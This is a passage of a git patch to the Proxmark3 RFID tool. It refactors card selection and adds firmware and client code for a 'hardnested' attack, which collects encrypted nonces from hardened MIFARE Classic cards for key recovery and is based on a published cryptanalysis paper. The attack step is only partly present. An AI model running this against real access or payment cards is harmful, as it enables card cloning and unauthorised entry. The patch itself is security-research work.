From 1da61a02fe189b9db2c8033e2255f098fd299276 Mon Sep 17 00:00:00 2001 From: pwpiwi Date: Thu, 15 Oct 2015 21:28:06 +0200 Subject: [PATCH 01/12] started hf mf hardnested - acquire encrypted nonces - save nonces to file - modified iso14443a_select() to allow select without anticollision --- armsrc/appmain.c | 5 +- armsrc/apps.h | 1 + armsrc/epa.c | 2 +- armsrc/iso14443a.c | 102 ++++++++++++---------- armsrc/iso14443a.h | 3 +- armsrc/mifarecmd.c | 164 ++++++++++++++++++++++++++++++++---- client/cmdhfmf.c | 151 +++++++++++++++++++++++++++------ client/lualibs/commands.lua | 1 + client/mifarehost.c | 88 +++++++++++++++++++ client/mifarehost.h | 1 + include/usb_cmd.h | 1 + 11 files changed, 429 insertions(+), 90 deletions(-) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 321782da..d03d213e 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -427,7 +427,7 @@ void StandAloneMode14a() SpinDelay(300); } } - if (!iso14443a_select_card(uid, &hi14a_card[selected], &cuid)) + if (!iso14443a_select_card(uid, &hi14a_card[selected], &cuid, true, 0)) continue; else { @@ -1121,6 +1121,9 @@ void UsbPacketReceived(uint8_t *packet, int len) case CMD_MIFAREU_WRITEBL: MifareUWriteBlock(c->arg[0], c->arg[1], c->d.asBytes); break; + case CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES: + MifareAcquireEncryptedNonces(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); + break; case CMD_MIFARE_NESTED: MifareNested(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); break; diff --git a/armsrc/apps.h b/armsrc/apps.h index d5c8ba0a..dce4219b 100644 --- a/armsrc/apps.h +++ b/armsrc/apps.h @@ -128,6 +128,7 @@ void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) //void MifareUWriteBlockCompat(uint8_t arg0,uint8_t *datain); void MifareUWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain); void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); +void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, uint8_t *datain); void MifareChkKeys(uint16_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain); void Mifare1ksim(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain); void MifareSetDbgLvl(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); diff --git a/armsrc/epa.c b/armsrc/epa.c index 50c7d878..4390d453 100644 --- a/armsrc/epa.c +++ b/armsrc/epa.c @@ -526,7 +526,7 @@ int EPA_Setup() // power up the field iso14443a_setup(FPGA_HF_ISO14443A_READER_MOD); // select the card - return_code = iso14443a_select_card(uid, &card_select_info, NULL); + return_code = iso14443a_select_card(uid, &card_select_info, NULL, true, 0); if (return_code == 1) { // send the PPS request ReaderTransmit((uint8_t *)pps, sizeof(pps), NULL); diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index bb7ab015..5226bdbc 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -1684,10 +1684,12 @@ int ReaderReceive(uint8_t *receivedAnswer, uint8_t *parity) return Demod.len; } -/* performs iso14443a anticollision procedure - * fills the uid pointer unless NULL - * fills resp_data unless NULL */ -int iso14443a_select_card(byte_t *uid_ptr, iso14a_card_select_t *p_hi14a_card, uint32_t *cuid_ptr) { +// performs iso14443a anticollision (optional) and card select procedure +// fills the uid and cuid pointer unless NULL +// fills the card info record unless NULL +// if anticollision is false, then the UID must be provided in uid_ptr[] +// and num_cascades must be set (1: 4 Byte UID, 2: 7 Byte UID, 3: 10 Byte UID) +int iso14443a_select_card(byte_t *uid_ptr, iso14a_card_select_t *p_hi14a_card, uint32_t *cuid_ptr, bool anticollision, uint8_t num_cascades) { uint8_t wupa[] = { 0x52 }; // 0x26 - REQA 0x52 - WAKE-UP uint8_t sel_all[] = { 0x93,0x20 }; uint8_t sel_uid[] = { 0x93,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; @@ -1702,7 +1704,7 @@ int iso14443a_select_card(byte_t *uid_ptr, iso14a_card_select_t *p_hi14a_card, u int len; // Broadcast for a card, WUPA (0x52) will force response from all cards in the field - ReaderTransmitBitsPar(wupa,7,0, NULL); + ReaderTransmitBitsPar(wupa, 7, NULL, NULL); // Receive the ATQA if(!ReaderReceive(resp, resp_par)) return 0; @@ -1713,9 +1715,11 @@ int iso14443a_select_card(byte_t *uid_ptr, iso14a_card_select_t *p_hi14a_card, u memset(p_hi14a_card->uid,0,10); } - // clear uid - if (uid_ptr) { - memset(uid_ptr,0,10); + if (anticollision) { + // clear uid + if (uid_ptr) { + memset(uid_ptr,0,10); + } } // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in @@ -1725,40 +1729,49 @@ int iso14443a_select_card(byte_t *uid_ptr, iso14a_card_select_t *p_hi14a_card, u // SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97) sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2; - // SELECT_ALL - ReaderTransmit(sel_all, sizeof(sel_all), NULL); - if (!ReaderReceive(resp, resp_par)) return 0; + if (anticollision) { + // SELECT_ALL + ReaderTransmit(sel_all, sizeof(sel_all), NULL); + if (!ReaderReceive(resp, resp_par)) return 0; - if (Demod.collisionPos) { // we had a collision and need to construct the UID bit by bit - memset(uid_resp, 0, 4); - uint16_t uid_resp_bits = 0; - uint16_t collision_answer_offset = 0; - // anti-collision-loop: - while (Demod.collisionPos) { - Dbprintf("Multiple tags detected. Collision after Bit %d", Demod.collisionPos); - for (uint16_t i = collision_answer_offset; i < Demod.collisionPos; i++, uid_resp_bits++) { // add valid UID bits before collision point - uint16_t UIDbit = (resp[i/8] >> (i % 8)) & 0x01; - uid_resp[uid_resp_bits / 8] |= UIDbit << (uid_resp_bits % 8); + if (Demod.collisionPos) { // we had a collision and need to construct the UID bit by bit + memset(uid_resp, 0, 4); + uint16_t uid_resp_bits = 0; + uint16_t collision_answer_offset = 0; + // anti-collision-loop: + while (Demod.collisionPos) { + Dbprintf("Multiple tags detected. Collision after Bit %d", Demod.collisionPos); + for (uint16_t i = collision_answer_offset; i < Demod.collisionPos; i++, uid_resp_bits++) { // add valid UID bits before collision point + uint16_t UIDbit = (resp[i/8] >> (i % 8)) & 0x01; + uid_resp[uid_resp_bits / 8] |= UIDbit << (uid_resp_bits % 8); + } + uid_resp[uid_resp_bits/8] |= 1 << (uid_resp_bits % 8); // next time select the card(s) with a 1 in the collision position + uid_resp_bits++; + // construct anticollosion command: + sel_uid[1] = ((2 + uid_resp_bits/8) << 4) | (uid_resp_bits & 0x07); // length of data in bytes and bits + for (uint16_t i = 0; i <= uid_resp_bits/8; i++) { + sel_uid[2+i] = uid_resp[i]; + } + collision_answer_offset = uid_resp_bits%8; + ReaderTransmitBits(sel_uid, 16 + uid_resp_bits, NULL); + if (!ReaderReceiveOffset(resp, collision_answer_offset, resp_par)) return 0; } - uid_resp[uid_resp_bits/8] |= 1 << (uid_resp_bits % 8); // next time select the card(s) with a 1 in the collision position - uid_resp_bits++; - // construct anticollosion command: - sel_uid[1] = ((2 + uid_resp_bits/8) << 4) | (uid_resp_bits & 0x07); // length of data in bytes and bits - for (uint16_t i = 0; i <= uid_resp_bits/8; i++) { - sel_uid[2+i] = uid_resp[i]; + // finally, add the last bits and BCC of the UID + for (uint16_t i = collision_answer_offset; i < (Demod.len-1)*8; i++, uid_resp_bits++) { + uint16_t UIDbit = (resp[i/8] >> (i%8)) & 0x01; + uid_resp[uid_resp_bits/8] |= UIDbit << (uid_resp_bits % 8); } - collision_answer_offset = uid_resp_bits%8; - ReaderTransmitBits(sel_uid, 16 + uid_resp_bits, NULL); - if (!ReaderReceiveOffset(resp, collision_answer_offset, resp_par)) return 0; - } - // finally, add the last bits and BCC of the UID - for (uint16_t i = collision_answer_offset; i < (Demod.len-1)*8; i++, uid_resp_bits++) { - uint16_t UIDbit = (resp[i/8] >> (i%8)) & 0x01; - uid_resp[uid_resp_bits/8] |= UIDbit << (uid_resp_bits % 8); - } - } else { // no collision, use the response to SELECT_ALL as current uid - memcpy(uid_resp, resp, 4); + } else { // no collision, use the response to SELECT_ALL as current uid + memcpy(uid_resp, resp, 4); + } + } else { + if (cascade_level < num_cascades - 1) { + uid_resp[0] = 0x88; + memcpy(uid_resp+1, uid_ptr+cascade_level*3, 3); + } else { + memcpy(uid_resp, uid_ptr+cascade_level*3, 4); + } } uid_resp_len = 4; @@ -1769,7 +1782,7 @@ int iso14443a_select_card(byte_t *uid_ptr, iso14a_card_select_t *p_hi14a_card, u // Construct SELECT UID command sel_uid[1] = 0x70; // transmitting a full UID (1 Byte cmd, 1 Byte NVB, 4 Byte UID, 1 Byte BCC, 2 Bytes CRC) - memcpy(sel_uid+2, uid_resp, 4); // the UID + memcpy(sel_uid+2, uid_resp, 4); // the UID received during anticollision, or the provided UID sel_uid[6] = sel_uid[2] ^ sel_uid[3] ^ sel_uid[4] ^ sel_uid[5]; // calculate and add BCC AppendCrc14443a(sel_uid, 7); // calculate and add CRC ReaderTransmit(sel_uid, sizeof(sel_uid), NULL); @@ -1777,19 +1790,18 @@ int iso14443a_select_card(byte_t *uid_ptr, iso14a_card_select_t *p_hi14a_card, u // Receive the SAK if (!ReaderReceive(resp, resp_par)) return 0; sak = resp[0]; - - // Test if more parts of the uid are coming + + // Test if more parts of the uid are coming if ((sak & 0x04) /* && uid_resp[0] == 0x88 */) { // Remove first byte, 0x88 is not an UID byte, it CT, see page 3 of: // http://www.nxp.com/documents/application_note/AN10927.pdf uid_resp[0] = uid_resp[1]; uid_resp[1] = uid_resp[2]; uid_resp[2] = uid_resp[3]; - uid_resp_len = 3; } - if(uid_ptr) { + if(uid_ptr && anticollision) { memcpy(uid_ptr + (cascade_level*3), uid_resp, uid_resp_len); } @@ -1910,7 +1922,7 @@ void ReaderIso14443a(UsbCommand *c) iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); if(!(param & ISO14A_NO_SELECT)) { iso14a_card_select_t *card = (iso14a_card_select_t*)buf; - arg0 = iso14443a_select_card(NULL,card,NULL); + arg0 = iso14443a_select_card(NULL, card, NULL, true, 0); cmd_send(CMD_ACK,arg0,card->uidlen,0,buf,sizeof(iso14a_card_select_t)); } } @@ -2084,7 +2096,7 @@ void ReaderMifare(bool first_try) SpinDelay(100); } - if(!iso14443a_select_card(uid, NULL, &cuid)) { + if(!iso14443a_select_card(uid, NULL, &cuid, true, 0)) { if (MF_DBGLEVEL >= 1) Dbprintf("Mifare: Can't select card"); continue; } diff --git a/armsrc/iso14443a.h b/armsrc/iso14443a.h index 1e978e88..2498a169 100644 --- a/armsrc/iso14443a.h +++ b/armsrc/iso14443a.h @@ -83,7 +83,6 @@ extern int ReaderReceive(uint8_t *receivedAnswer, uint8_t *par); extern void iso14443a_setup(uint8_t fpga_minor_mode); extern int iso14_apdu(uint8_t *cmd, uint16_t cmd_len, void *data); -extern int iso14443a_select_card(uint8_t *uid_ptr, iso14a_card_select_t *resp_data, uint32_t *cuid_ptr); +extern int iso14443a_select_card(uint8_t *uid_ptr, iso14a_card_select_t *resp_data, uint32_t *cuid_ptr, bool anticollision, uint8_t num_cascades); extern void iso14a_set_trigger(bool enable); - #endif /* __ISO14443A_H */ diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index a3d6609d..5d110e66 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -53,7 +53,7 @@ void MifareReadBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) LED_C_OFF(); while (true) { - if(!iso14443a_select_card(uid, NULL, &cuid)) { + if(!iso14443a_select_card(uid, NULL, &cuid, true, 0)) { if (MF_DBGLEVEL >= 1) Dbprintf("Can't select card"); break; }; @@ -100,7 +100,7 @@ void MifareUC_Auth(uint8_t arg0, uint8_t *keybytes){ clear_trace(); - if(!iso14443a_select_card(NULL, NULL, NULL)) { + if(!iso14443a_select_card(NULL, NULL, NULL, true, 0)) { if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Can't select card"); OnError(0); return; @@ -135,7 +135,7 @@ void MifareUReadBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain) clear_trace(); - int len = iso14443a_select_card(NULL, NULL, NULL); + int len = iso14443a_select_card(NULL, NULL, NULL, true, 0); if(!len) { if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Can't select card (RC:%02X)",len); OnError(1); @@ -211,7 +211,7 @@ void MifareReadSector(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) LED_C_OFF(); isOK = 1; - if(!iso14443a_select_card(uid, NULL, &cuid)) { + if(!iso14443a_select_card(uid, NULL, &cuid, true, 0)) { isOK = 0; if (MF_DBGLEVEL >= 1) Dbprintf("Can't select card"); } @@ -275,7 +275,7 @@ void MifareUReadCard(uint8_t arg0, uint16_t arg1, uint8_t arg2, uint8_t *datain) return; } - int len = iso14443a_select_card(NULL, NULL, NULL); + int len = iso14443a_select_card(NULL, NULL, NULL, true, 0); if (!len) { if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Can't select card (RC:%d)",len); OnError(1); @@ -377,7 +377,7 @@ void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) LED_C_OFF(); while (true) { - if(!iso14443a_select_card(uid, NULL, &cuid)) { + if(!iso14443a_select_card(uid, NULL, &cuid, true, 0)) { if (MF_DBGLEVEL >= 1) Dbprintf("Can't select card"); break; }; @@ -431,7 +431,7 @@ void MifareUWriteBlockCompat(uint8_t arg0, uint8_t *datain) clear_trace(); iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); - if(!iso14443a_select_card(uid, NULL, NULL)) { + if(!iso14443a_select_card(uid, NULL, NULL, true, 0)) { if (MF_DBGLEVEL >= 1) Dbprintf("Can't select card"); OnError(0); return; @@ -477,7 +477,7 @@ void MifareUWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain) clear_trace(); - if(!iso14443a_select_card(NULL, NULL, NULL)) { + if(!iso14443a_select_card(NULL, NULL, NULL, true, 0)) { if (MF_DBGLEVEL >= 1) Dbprintf("Can't select card"); OnError(0); return; @@ -536,7 +536,7 @@ void MifareUSetPwd(uint8_t arg0, uint8_t *datain){ clear_trace(); - if(!iso14443a_select_card(NULL, NULL, NULL)) { + if(!iso14443a_select_card(NULL, NULL, NULL, true, 0)) { if (MF_DBGLEVEL >= 1) Dbprintf("Can't select card"); OnError(0); return; @@ -601,6 +601,140 @@ int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity) { } +//----------------------------------------------------------------------------- +// acquire encrypted nonces in order to perform the attack described in +// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened +// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on +// Computer and Communications Security, 2015 +//----------------------------------------------------------------------------- +void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, uint8_t *datain) +{ + uint64_t ui64Key = 0; + uint8_t uid[10]; + uint32_t cuid; + uint8_t cascade_levels = 0; + struct Crypto1State mpcs = {0, 0}; + struct Crypto1State *pcs; + pcs = &mpcs; + uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE]; + int16_t isOK = 0; + uint8_t nt_enc1[4]; + uint8_t par_enc[1]; + uint8_t nt_par_enc = 0; + uint8_t buf[USB_CMD_DATA_SIZE]; + uint32_t timeout; + + uint8_t blockNo = arg0 & 0xff; + uint8_t keyType = (arg0 >> 8) & 0xff; + uint8_t targetBlockNo = arg1 & 0xff; + uint8_t targetKeyType = (arg1 >> 8) & 0xff; + ui64Key = bytes_to_num(datain, 6); + bool initialize = flags & 0x0001; + bool slow = flags & 0x0002; + + #define AUTHENTICATION_TIMEOUT 848 // card times out 1ms after wrong authentication according to NXP documentation + #define PRE_AUTHENTICATION_LEADTIME 400 // some (non standard) cards need a pause after select before they are ready for first authentication + + LED_A_ON(); + LED_C_OFF(); + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + + if (initialize) { + clear_trace(); + set_tracing(true); + } + + LED_C_ON(); + + uint16_t num_nonces = 0; + bool have_uid = false; + for (uint16_t i = 0; i <= USB_CMD_DATA_SIZE - 4 - 4 - 1; ) { + + // Test if the action was cancelled + if(BUTTON_PRESS()) { + isOK = -2; + break; + } + + if (!have_uid) { // need a full select cycle to get the uid first + iso14a_card_select_t card_info; + if(!iso14443a_select_card(uid, &card_info, &cuid, true, 0)) { + if (MF_DBGLEVEL >= 1) Dbprintf("AcquireNonces: Can't select card (ALL)"); + continue; + } + switch (card_info.uidlen) { + case 4 : cascade_levels = 1; break; + case 7 : cascade_levels = 2; break; + case 10: cascade_levels = 3; break; + default: break; + } + have_uid = true; + } else { // no need for anticollision. We can directly select the card + if(!iso14443a_select_card(uid, NULL, &cuid, false, cascade_levels)) { + if (MF_DBGLEVEL >= 1) Dbprintf("AcquireNonces: Can't select card (UID)"); + continue; + } + } + + if (slow) { + timeout = GetCountSspClk() + PRE_AUTHENTICATION_LEADTIME; + while(GetCountSspClk() < timeout); + } + + uint32_t nt1; + if (mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_FIRST, &nt1, NULL)) { + if (MF_DBGLEVEL >= 1) Dbprintf("AcquireNonces: Auth1 error"); + continue; + } + + // nested authentication + uint16_t len = mifare_sendcmd_short(pcs, AUTH_NESTED, 0x60 + (targetKeyType & 0x01), targetBlockNo, receivedAnswer, par_enc, NULL); + if (len != 4) { + if (MF_DBGLEVEL >= 1) Dbprintf("AcquireNonces: Auth2 error len=%d", len); + continue; + } + + // send a dummy byte as reader response in order to trigger the cards authentication timeout + uint8_t dummy_answer = 0; + ReaderTransmit(&dummy_answer, 1, NULL); + timeout = GetCountSspClk() + AUTHENTICATION_TIMEOUT; + + num_nonces++; + if (num_nonces % 2) { + memcpy(nt_enc1, receivedAnswer, 4); + nt_par_enc = par_enc[0]; + } else { + nt_par_enc |= par_enc[0]; + memcpy(&buf[i], nt_enc1, 4); + i += 4; + memcpy(&buf[i], receivedAnswer, 4); + i += 4; + memcpy(&buf[i], &nt_par_enc, 1); + i += 1; + } + + // wait for the card to become ready again + while(GetCountSspClk() < timeout); + + + } + + LED_C_OFF(); + + crypto1_destroy(pcs); + + LED_B_ON(); + memcpy(&cuid, uid+(cascade_levels-1)*3, 4); + cmd_send(CMD_ACK, isOK, cuid, num_nonces, buf, sizeof(buf)); + LED_B_OFF(); + + if (MF_DBGLEVEL >= 3) DbpString("AcquireEncryptedNonces finished"); + + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); +} + + //----------------------------------------------------------------------------- // MIFARE nested authentication. // @@ -672,7 +806,7 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t calibrate, uint8_t *dat continue; } - if(!iso14443a_select_card(uid, NULL, &cuid)) { + if(!iso14443a_select_card(uid, NULL, &cuid, true, 0)) { if (MF_DBGLEVEL >= 1) Dbprintf("Nested: Can't select card"); rtr--; continue; @@ -746,7 +880,7 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t calibrate, uint8_t *dat continue; } - if(!iso14443a_select_card(uid, NULL, &cuid)) { + if(!iso14443a_select_card(uid, NULL, &cuid, true, 0)) { if (MF_DBGLEVEL >= 1) Dbprintf("Nested: Can't select card"); continue; }; @@ -861,7 +995,7 @@ void MifareChkKeys(uint16_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) if (MF_DBGLEVEL >= 1) Dbprintf("ChkKeys: Halt error"); } - if(!iso14443a_select_card(uid, NULL, &cuid)) { + if(!iso14443a_select_card(uid, NULL, &cuid, true, 0)) { if (OLD_MF_DBGLEVEL >= 1) Dbprintf("ChkKeys: Can't select card"); break; }; @@ -954,7 +1088,7 @@ void MifareECardLoad(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datai bool isOK = true; - if(!iso14443a_select_card(uid, NULL, &cuid)) { + if(!iso14443a_select_card(uid, NULL, &cuid, true, 0)) { isOK = false; if (MF_DBGLEVEL >= 1) Dbprintf("Can't select card"); } @@ -1054,7 +1188,7 @@ void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datai // get UID from chip if (workFlags & 0x01) { - if(!iso14443a_select_card(uid, NULL, &cuid)) { + if(!iso14443a_select_card(uid, NULL, &cuid, true, 0)) { if (MF_DBGLEVEL >= 1) Dbprintf("Can't select card"); break; }; @@ -1259,7 +1393,7 @@ void Mifare_DES_Auth1(uint8_t arg0, uint8_t *datain){ iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); clear_trace(); - int len = iso14443a_select_card(uid, NULL, &cuid); + int len = iso14443a_select_card(uid, NULL, &cuid, true, 0); if(!len) { if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Can't select card"); OnError(1); diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index ed26c1bd..7d064dd5 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -784,6 +784,104 @@ int CmdHF14AMfNested(const char *Cmd) return 0; } + +int CmdHF14AMfNestedHard(const char *Cmd) +{ + uint8_t blockNo = 0; + uint8_t keyType = 0; + uint8_t trgBlockNo = 0; + uint8_t trgKeyType = 0; + uint8_t key[6] = {0, 0, 0, 0, 0, 0}; + + char ctmp; + ctmp = param_getchar(Cmd, 0); + if (ctmp != 'R' && ctmp != 'r' && strlen(Cmd) < 20) { + PrintAndLog("Usage:"); + PrintAndLog(" hf mf hardnested "); + PrintAndLog(" [w] [s]"); + PrintAndLog(" or hf mf hardnested r"); + PrintAndLog(" "); + PrintAndLog("Options: "); + PrintAndLog(" w: Acquire nonces and write them to binary file nonces.bin"); + PrintAndLog(" s: Slower acquisition (required by some non standard cards)"); + PrintAndLog(" r: Read nonces.bin and start attack"); + PrintAndLog(" "); + PrintAndLog(" sample1: hf mf hardnested 0 A FFFFFFFFFFFF 4 A"); + PrintAndLog(" sample2: hf mf hardnested 0 A FFFFFFFFFFFF 4 A w"); + PrintAndLog(" sample3: hf mf hardnested 0 A FFFFFFFFFFFF 4 A w s"); + PrintAndLog(" sample4: hf mf hardnested r"); + + return 0; + } + + bool nonce_file_read = false; + bool nonce_file_write = false; + bool slow = false; + + if (ctmp == 'R' || ctmp == 'r') { + + nonce_file_read = true; + + } else { + + blockNo = param_get8(Cmd, 0); + ctmp = param_getchar(Cmd, 1); + if (ctmp != 'a' && ctmp != 'A' && ctmp != 'b' && ctmp != 'B') { + PrintAndLog("Key type must be A or B"); + return 1; + } + if (ctmp != 'A' && ctmp != 'a') { + keyType = 1; + } + + if (param_gethex(Cmd, 2, key, 12)) { + PrintAndLog("Key must include 12 HEX symbols"); + return 1; + } + + trgBlockNo = param_get8(Cmd, 3); + ctmp = param_getchar(Cmd, 4); + if (ctmp != 'a' && ctmp != 'A' && ctmp != 'b' && ctmp != 'B') { + PrintAndLog("Target key type must be A or B"); + return 1; + } + if (ctmp != 'A' && ctmp != 'a') { + trgKeyType = 1; + } + + uint16_t i = 5; + while ((ctmp = param_getchar(Cmd, i))) { + if (ctmp == 's' || ctmp == 'S') { + slow = true; + } else if (ctmp == 'w' || ctmp == 'W') { + nonce_file_write = true; + } else { + PrintAndLog("Possible options are w and/or s"); + return 1; + } + i++; + } + } + + PrintAndLog("--target block no:%3d, target key type:%c, file action: %s, Slow: %s ", + trgBlockNo, + trgKeyType?'B':'A', + nonce_file_write?"write":nonce_file_read?"read":"none", + slow?"Yes":"No"); + int16_t isOK = mfnestedhard(blockNo, keyType, key, trgBlockNo, trgKeyType, nonce_file_read, nonce_file_write, slow); + if (isOK) { + switch (isOK) { + case -1 : PrintAndLog("Error: No response from Proxmark.\n"); break; + case -2 : PrintAndLog("Button pressed. Aborted.\n"); break; + default : PrintAndLog("Unknown Error.\n"); + } + return 2; + } + + return 0; +} + + int CmdHF14AMfChk(const char *Cmd) { if (strlen(Cmd)<3) { @@ -1954,32 +2052,33 @@ int CmdHF14AMfSniff(const char *Cmd){ static command_t CommandTable[] = { - {"help", CmdHelp, 1, "This help"}, - {"dbg", CmdHF14AMfDbg, 0, "Set default debug mode"}, - {"rdbl", CmdHF14AMfRdBl, 0, "Read MIFARE classic block"}, - {"rdsc", CmdHF14AMfRdSc, 0, "Read MIFARE classic sector"}, - {"dump", CmdHF14AMfDump, 0, "Dump MIFARE classic tag to binary file"}, - {"restore", CmdHF14AMfRestore, 0, "Restore MIFARE classic binary file to BLANK tag"}, - {"wrbl", CmdHF14AMfWrBl, 0, "Write MIFARE classic block"}, - {"chk", CmdHF14AMfChk, 0, "Test block keys"}, - {"mifare", CmdHF14AMifare, 0, "Read parity error messages."}, - {"nested", CmdHF14AMfNested, 0, "Test nested authentication"}, - {"sniff", CmdHF14AMfSniff, 0, "Sniff card-reader communication"}, - {"sim", CmdHF14AMf1kSim, 0, "Simulate MIFARE card"}, - {"eclr", CmdHF14AMfEClear, 0, "Clear simulator memory block"}, - {"eget", CmdHF14AMfEGet, 0, "Get simulator memory block"}, - {"eset", CmdHF14AMfESet, 0, "Set simulator memory block"}, - {"eload", CmdHF14AMfELoad, 0, "Load from file emul dump"}, - {"esave", CmdHF14AMfESave, 0, "Save to file emul dump"}, - {"ecfill", CmdHF14AMfECFill, 0, "Fill simulator memory with help of keys from simulator"}, - {"ekeyprn", CmdHF14AMfEKeyPrn, 0, "Print keys from simulator memory"}, - {"csetuid", CmdHF14AMfCSetUID, 0, "Set UID for magic Chinese card"}, - {"csetblk", CmdHF14AMfCSetBlk, 0, "Write block - Magic Chinese card"}, - {"cgetblk", CmdHF14AMfCGetBlk, 0, "Read block - Magic Chinese card"}, - {"cgetsc", CmdHF14AMfCGetSc, 0, "Read sector - Magic Chinese card"}, - {"cload", CmdHF14AMfCLoad, 0, "Load dump into magic Chinese card"}, - {"csave", CmdHF14AMfCSave, 0, "Save dump from magic Chinese card into file or emulator"}, - {NULL, NULL, 0, NULL} + {"help", CmdHelp, 1, "This help"}, + {"dbg", CmdHF14AMfDbg, 0, "Set default debug mode"}, + {"rdbl", CmdHF14AMfRdBl, 0, "Read MIFARE classic block"}, + {"rdsc", CmdHF14AMfRdSc, 0, "Read MIFARE classic sector"}, + {"dump", CmdHF14AMfDump, 0, "Dump MIFARE classic tag to binary file"}, + {"restore", CmdHF14AMfRestore, 0, "Restore MIFARE classic binary file to BLANK tag"}, + {"wrbl", CmdHF14AMfWrBl, 0, "Write MIFARE classic block"}, + {"chk", CmdHF14AMfChk, 0, "Test block keys"}, + {"mifare", CmdHF14AMifare, 0, "Read parity error messages."}, + {"nested", CmdHF14AMfNested, 0, "Test nested authentication"}, + {"hardnested", CmdHF14AMfNestedHard, 0, "Nested attack for hardened Mifare cards"}, + {"sniff", CmdHF14AMfSniff, 0, "Sniff card-reader communication"}, + {"sim", CmdHF14AMf1kSim, 0, "Simulate MIFARE card"}, + {"eclr", CmdHF14AMfEClear, 0, "Clear simulator memory block"}, + {"eget", CmdHF14AMfEGet, 0, "Get simulator memory block"}, + {"eset", CmdHF14AMfESet, 0, "Set simulator memory block"}, + {"eload", CmdHF14AMfELoad, 0, "Load from file emul dump"}, + {"esave", CmdHF14AMfESave, 0, "Save to file emul dump"}, + {"ecfill", CmdHF14AMfECFill, 0, "Fill simulator memory with help of keys from simulator"}, + {"ekeyprn", CmdHF14AMfEKeyPrn, 0, "Print keys from simulator memory"}, + {"csetuid", CmdHF14AMfCSetUID, 0, "Set UID for magic Chinese card"}, + {"csetblk", CmdHF14AMfCSetBlk, 0, "Write block - Magic Chinese card"}, + {"cgetblk", CmdHF14AMfCGetBlk, 0, "Read block - Magic Chinese card"}, + {"cgetsc", CmdHF14AMfCGetSc, 0, "Read sector - Magic Chinese card"}, + {"cload", CmdHF14AMfCLoad, 0, "Load dump into magic Chinese card"}, + {"csave", CmdHF14AMfCSave, 0, "Save dump from magic Chinese card into file or emulator"}, + {NULL, NULL, 0, NULL} }; int CmdHFMF(const char *Cmd) diff --git a/client/lualibs/commands.lua b/client/lualibs/commands.lua index 64f16e44..3652c128 100644 --- a/client/lualibs/commands.lua +++ b/client/lualibs/commands.lua @@ -119,6 +119,7 @@ local _commands = { CMD_READER_MIFARE = 0x0611, CMD_MIFARE_NESTED = 0x0612, + CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES = 0x0613, CMD_MIFARE_READBL = 0x0620, CMD_MIFAREU_READBL = 0x0720, diff --git a/client/mifarehost.c b/client/mifarehost.c index eb145123..c43e89e4 100644 --- a/client/mifarehost.c +++ b/client/mifarehost.c @@ -193,6 +193,94 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo return 0; } + +int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_read, bool nonce_file_write, bool slow) +{ + UsbCommand resp; + FILE *fnonces = NULL; + uint32_t total_num_nonces = 0; + uint32_t flags = 0; + bool initialize = true; + clock_t time1; + //StateList_t statelists[2]; + //struct Crypto1State *p1, *p2, *p3, *p4; + + if (nonce_file_read) { + // don't acquire nonces, use pre-acquired data from file nonces.bin + PrintAndLog("Reading nonces not yet implemented."); + } else { + // acquire nonces. + time1 = clock(); + do { + clearCommandBuffer(); + flags |= initialize ? 0x0001 : 0; + flags |= slow ? 0x0002 : 0; + UsbCommand c = {CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES, {blockNo + keyType * 0x100, trgBlockNo 